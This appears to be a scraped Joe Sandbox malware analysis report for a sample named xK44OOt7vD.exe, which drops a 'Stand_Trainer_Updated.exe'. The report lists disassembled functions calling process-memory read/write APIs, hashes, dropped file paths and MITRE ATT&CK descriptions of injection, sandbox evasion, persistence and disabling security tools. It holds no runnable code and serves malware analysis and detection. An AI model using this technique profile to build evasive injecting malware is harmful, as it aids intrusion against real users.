Associated: 00000006.00000002.3438142825.00007FF8B8F78000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438167519.00007FF8B8F79000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8b8f70000_Stand_Trainer_Updated.jbxd

Similarity

API ID: Module32$CreateFirstNextOpenProcessSnapshotToolhelp32memcmp
String ID:
API String ID: 3551813145-0
Opcode ID: ef27848728e57b00f54bf132d20fc1e322867d02a7ea20d45f5984dffdf8b1fe
Instruction ID: c34333724a9ab665a41338eb8017d202bf3c5b7389383023b201f0979c847ffd
Opcode Fuzzy Hash: ef27848728e57b00f54bf132d20fc1e322867d02a7ea20d45f5984dffdf8b1fe
Instruction Fuzzy Hash: 85415A36A08F8186E660CF15F844269BBA4FB987A1F458234DBDD43794EF3CD492C704

Function 00007FF8B8F724A0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32 ref: 00007FF8B8F724D6
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B8F724E8
WriteProcessMemory.KERNEL32 ref: 00007FF8B8F72536

Strings

AND NotAvailableInAutoshow=0, xrefs: 00007FF8B8F72518

Memory Dump Source

Source File: 00000006.00000002.3438062399.00007FF8B8F71000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8B8F70000, based on PE: true

Associated: 00000006.00000002.3438034254.00007FF8B8F70000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438111984.00007FF8B8F76000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438142825.00007FF8B8F78000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438167519.00007FF8B8F79000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8b8f70000_Stand_Trainer_Updated.jbxd

Similarity

API ID: MemoryProcessWrite$free
String ID: AND NotAvailableInAutoshow=0
API String ID: 3251193346-2000189202
Opcode ID: 5dd114985b51e524ecdaeb4a6ee6680aac70342fb451392c15103262cd97a31d
Instruction ID: b1d899969b1b3c80c029e457fa1f0a62004dfc8bcf613ed5868df42b16026f78
Opcode Fuzzy Hash: 5dd114985b51e524ecdaeb4a6ee6680aac70342fb451392c15103262cd97a31d
Instruction Fuzzy Hash: 9A11B379A1AE8681FA958B49E8503A92B70FB88BC6F544436CB4E43725CF3DE546870C

Function 00007FF8B8F73DD0 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,00007FF8B8F72809), ref: 00007FF8B8F73E46
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,00007FF8B8F72809), ref: 00007FF8B8F73E51
ReadProcessMemory.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF8B8F72809), ref: 00007FF8B8F73E88
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,00007FF8B8F72809), ref: 00007FF8B8F73EEC

Memory Dump Source

Source File: 00000006.00000002.3438062399.00007FF8B8F71000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8B8F70000, based on PE: true

Associated: 00000006.00000002.3438034254.00007FF8B8F70000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438111984.00007FF8B8F76000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438142825.00007FF8B8F78000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438167519.00007FF8B8F79000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8b8f70000_Stand_Trainer_Updated.jbxd

Similarity

API ID: free$MemoryProcessReadmalloc
String ID:
API String ID: 945422901-0
Opcode ID: 14e76d314a38f5860d661b66c69f591f3506736d51f1cf77ff05bd61f85d3f90
Instruction ID: ae54c3022adc783f72adc4a8fdde7eef3340e11589d9f06aaf8318412c928670
Opcode Fuzzy Hash: 14e76d314a38f5860d661b66c69f591f3506736d51f1cf77ff05bd61f85d3f90
Instruction Fuzzy Hash: A041793AB09F8595EA508F5AE4046A8AB61FB48FC5F994035EF8D03744DF7DD486C304

Function 00007FF8B8F751B0 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF8B8F751DC
GetCurrentThreadId.KERNEL32 ref: 00007FF8B8F751EA
GetCurrentProcessId.KERNEL32 ref: 00007FF8B8F751F6
QueryPerformanceCounter.KERNEL32 ref: 00007FF8B8F75206

Memory Dump Source

Source File: 00000006.00000002.3438062399.00007FF8B8F71000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8B8F70000, based on PE: true

Associated: 00000006.00000002.3438034254.00007FF8B8F70000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438111984.00007FF8B8F76000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438142825.00007FF8B8F78000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438167519.00007FF8B8F79000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8b8f70000_Stand_Trainer_Updated.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: e09f90a87769b6277c11b38b7254214313cb37ebbb0d261935752cdcce18699c
Instruction ID: 07f52c9e60fceb6146e4dd452203728bdb4bf9fac28b1db43d1d055a4fdaa5bb
Opcode Fuzzy Hash: e09f90a87769b6277c11b38b7254214313cb37ebbb0d261935752cdcce18699c
Instruction Fuzzy Hash: 3C113C36A04F418AEB10DF64E8542A837A4FB1D799F041A35EB6D47794DF3CD1A98344

Function 00007FF8B8F714A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

?_Xlength_error@std@@YAXPEBD@Z.MSVCP140 ref: 00007FF8B8F714AB

Part of subcall function 00007FF8B8F74920: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF8B8F7103E), ref: 00007FF8B8F7493A

Part of subcall function 00007FF8B8F73B70: memcpy.VCRUNTIME140 ref: 00007FF8B8F73C75
Part of subcall function 00007FF8B8F73B70: memcpy.VCRUNTIME140 ref: 00007FF8B8F73C8F
Part of subcall function 00007FF8B8F73B70: memset.VCRUNTIME140 ref: 00007FF8B8F73CA4
Part of subcall function 00007FF8B8F73B70: memset.VCRUNTIME140 ref: 00007FF8B8F73CE7

Strings

Cost=0, xrefs: 00007FF8B8F71516
string too long, xrefs: 00007FF8B8F714A4

Memory Dump Source

Source File: 00000006.00000002.3438062399.00007FF8B8F71000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8B8F70000, based on PE: true

Associated: 00000006.00000002.3438034254.00007FF8B8F70000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438111984.00007FF8B8F76000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438142825.00007FF8B8F78000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438167519.00007FF8B8F79000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8b8f70000_Stand_Trainer_Updated.jbxd

Similarity

API ID: memcpymemset$Xlength_error@std@@malloc
String ID: Cost=0$string too long
API String ID: 2569986753-2966528296
Opcode ID: ad06fa48fd60ba2b4d54c49a69b272a0f8c7bc0fc8a353929bb8a211ab6cc02f
Instruction ID: 9e0fcc8accf9518402065db1aa3896643c7a8f6b2272432e5f27c1ff137b6aba
Opcode Fuzzy Hash: ad06fa48fd60ba2b4d54c49a69b272a0f8c7bc0fc8a353929bb8a211ab6cc02f
Instruction Fuzzy Hash: D2310639E29E8685FA419F18E8413696BB1FB98BC6F005235DB4D17361DF3CE186C708

Analysis Process: powershell.exePID: 3136, Parent PID: 8140COMMON

Executed Functions

Function 00007FF848A5B996 Relevance: .5, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2706819064.00007FF848A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff848a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e85c60580f232b723654a2210b9e53055cec08c8f7ce57aa611e00c7b8b9af2e
Instruction ID: 6d8ee0dcbaec7b06f83f1391ab7ae38213a0efa3687429335b0a0163d8c20f71
Opcode Fuzzy Hash: e85c60580f232b723654a2210b9e53055cec08c8f7ce57aa611e00c7b8b9af2e
Instruction Fuzzy Hash: E3E1A63090DA4D8FEBA8EF28C8567F977D1FB58341F00426AE80DC7295DF7499858B86

Function 00007FF848A5C75B Relevance: .4, Instructions: 429COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2706819064.00007FF848A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff848a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 877d4d7826d353e65c3d1929a979cf3b4df86faaf0d10217fc13af63f8269781
Instruction ID: 1c967e9a004622b4c5c822d4b8410c6ba2ffcd5ea86b6aadf731bd71d5738bac
Opcode Fuzzy Hash: 877d4d7826d353e65c3d1929a979cf3b4df86faaf0d10217fc13af63f8269781
Instruction Fuzzy Hash: 91E1963090DA4D8FEBA8EF28D8567F977D2FB54350F04822AD80DC7295DF7499818B82

Function 00007FF848B209F2 Relevance: 1.6, Strings: 1, Instructions: 395COMMON

Download Yara Rule

Strings

1A_L, xrefs: 00007FF848B20B61

Memory Dump Source

Source File: 0000000D.00000002.2707206943.00007FF848B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff848b20000_powershell.jbxd

Similarity

API ID:
String ID: 1A_L
API String ID: 0-1522723599
Opcode ID: 6367d6cee3c82a15ce6d8c0172010ae9fb7005044f2ec97f96dcc48f4ae3e792
Instruction ID: aa099eb5e59b6eb47c8aca1601c378283702b139116f302d93915a6e986c3237
Opcode Fuzzy Hash: 6367d6cee3c82a15ce6d8c0172010ae9fb7005044f2ec97f96dcc48f4ae3e792
Instruction Fuzzy Hash: 14B14931A0DE854FDB99FB2C98589347BE1EF66344B4802FEC049CB1A3DA15EC06C786

Function 00007FF848B20A2B Relevance: 1.5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

Strings

1A_L, xrefs: 00007FF848B20B61

Memory Dump Source

Source File: 0000000D.00000002.2707206943.00007FF848B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff848b20000_powershell.jbxd

Similarity

API ID:
String ID: 1A_L
API String ID: 0-1522723599
Opcode ID: d30c48c77d9a74769973a34c5b9653653df24f53bf3952b1942419faa404184b
Instruction ID: ea0c36a41fd44c54f97e7ce79fbd23e382916e0e8fc4c319e14f29cada90fcbb
Opcode Fuzzy Hash: d30c48c77d9a74769973a34c5b9653653df24f53bf3952b1942419faa404184b
Instruction Fuzzy Hash: 6D61D331A1CE498FEF98FA28D499A3537E1EF65304B5402ADC44AC7692DE21FC46C786

Function 00007FF848B233D5 Relevance: .4, Instructions: 432COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2707206943.00007FF848B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff848b20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d5a3d4a3fd6cd8c2bd4da98a8f7013e75668b22aee68273176a831448778dda
Instruction ID: 0ad852a57f2a4cb25a0c9db1c9d785c3484e834b87ce3241b26dff33970de470
Opcode Fuzzy Hash: 2d5a3d4a3fd6cd8c2bd4da98a8f7013e75668b22aee68273176a831448778dda
Instruction Fuzzy Hash: DCC14631D0EB8A5FE79AAB2C58595B9BBE0FF09394F4401FAD04DC71A3DB18A805C356

Function 00007FF848A5F0F0 Relevance: .3, Instructions: 346COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2706819064.00007FF848A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff848a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d65b71d8cf96abe1c9434e16d4f8d01930229c78f3406f041cf41f10a1c1ad8
Instruction ID: 79145d54f7862edcfa35ad692bcaf899048b37c084fc3fc2a21cec32da7f440d
Opcode Fuzzy Hash: 1d65b71d8cf96abe1c9434e16d4f8d01930229c78f3406f041cf41f10a1c1ad8
Instruction Fuzzy Hash: F2A13871E1DA498FEB58EB2898566B877E2FF99340F14017DE44DC32C2CE78AC428746

Function 00007FF848A5C356 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2706819064.00007FF848A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff848a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b2a92e203189630c16ba3565735fc217fb3b09cb6181e2f1783ed19b0b20f8b
Instruction ID: 8fc6be77e35ccad0c707736f2c954df4e98639a1e69c2e3a0a6ad8fe771eccbf
Opcode Fuzzy Hash: 1b2a92e203189630c16ba3565735fc217fb3b09cb6181e2f1783ed19b0b20f8b
Instruction Fuzzy Hash: F7A1B33050DA4D8FEBA8EF28D8567F977E1FB58350F00422AE84DC7295CB7499858B86

Function 00007FF848A5BE24 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2706819064.00007FF848A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff848a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 366cd929337b09f32e5279e1c755e9440a108afac92b4b1584f042eba3569e9a
Instruction ID: 2dbfbc0119c07294ae02fc72cd14f3badba2ee8e4ced2a7b842a35cb5452f029
Opcode Fuzzy Hash: 366cd929337b09f32e5279e1c755e9440a108afac92b4b1584f042eba3569e9a
Instruction Fuzzy Hash: 31311B3081A64DCEFBB4EF15CC47BF97292FF41355F400139D94D86092DBB86A8ACA26

Function 00007FF848A6169D Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2706819064.00007FF848A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff848a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bb4b88692bb43ce9c4db99d1bcafbec2fae1d3a57c8ebf284e36e9c4db0df76
Instruction ID: 87fb29eb3d5fa975577fccf9ec94dd4cb13ba436a56cd40609971a7acb269122
Opcode Fuzzy Hash: 6bb4b88692bb43ce9c4db99d1bcafbec2fae1d3a57c8ebf284e36e9c4db0df76
Instruction Fuzzy Hash: F411265C84F6C55ED743B73818284B27FE4CE83265B0C09EBE0D8D60A7D688194AC35B

Function 00007FF848A533B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2706819064.00007FF848A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff848a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction ID: a19e91e6c809789110cb4a04782ffc91e0bb12e5ef0e213b60216fbe1010daf8
Opcode Fuzzy Hash: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction Fuzzy Hash: DC01843010CB0C4FDB44EF0CE051AA5B7E0FB85364F10052DE58AC3661DA22E882CB46

Function 00007FF848A64201 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2706819064.00007FF848A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff848a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76ff5384644d9e354b265a4053df98738c9e86836947c021d6d00b9a4bbe4f9d
Instruction ID: 6fc757bac13bbe06e4cdaa656cea31f2e599b5990a082b59227b0332f2e31fda
Opcode Fuzzy Hash: 76ff5384644d9e354b265a4053df98738c9e86836947c021d6d00b9a4bbe4f9d
Instruction Fuzzy Hash: 92F02221A1EA8A5FE345E73C64152A43B92EB89790F1900F6C04CCB2C7CA18580583A6

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report xK44OOt7vD.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Other

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\Backend.dll

C:\Users\user\AppData\Local\Temp\RES8530.tmp

C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1istzkbc.ti2.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1ttzo1vo.a3i.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5v1la4gh.yni.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dfdc00xi.rjy.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_k3vccvsu.w3b.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ljgnogbs.zhy.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nsc3nxof.kov.ps1

Windows Analysis Report
xK44OOt7vD.exe

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
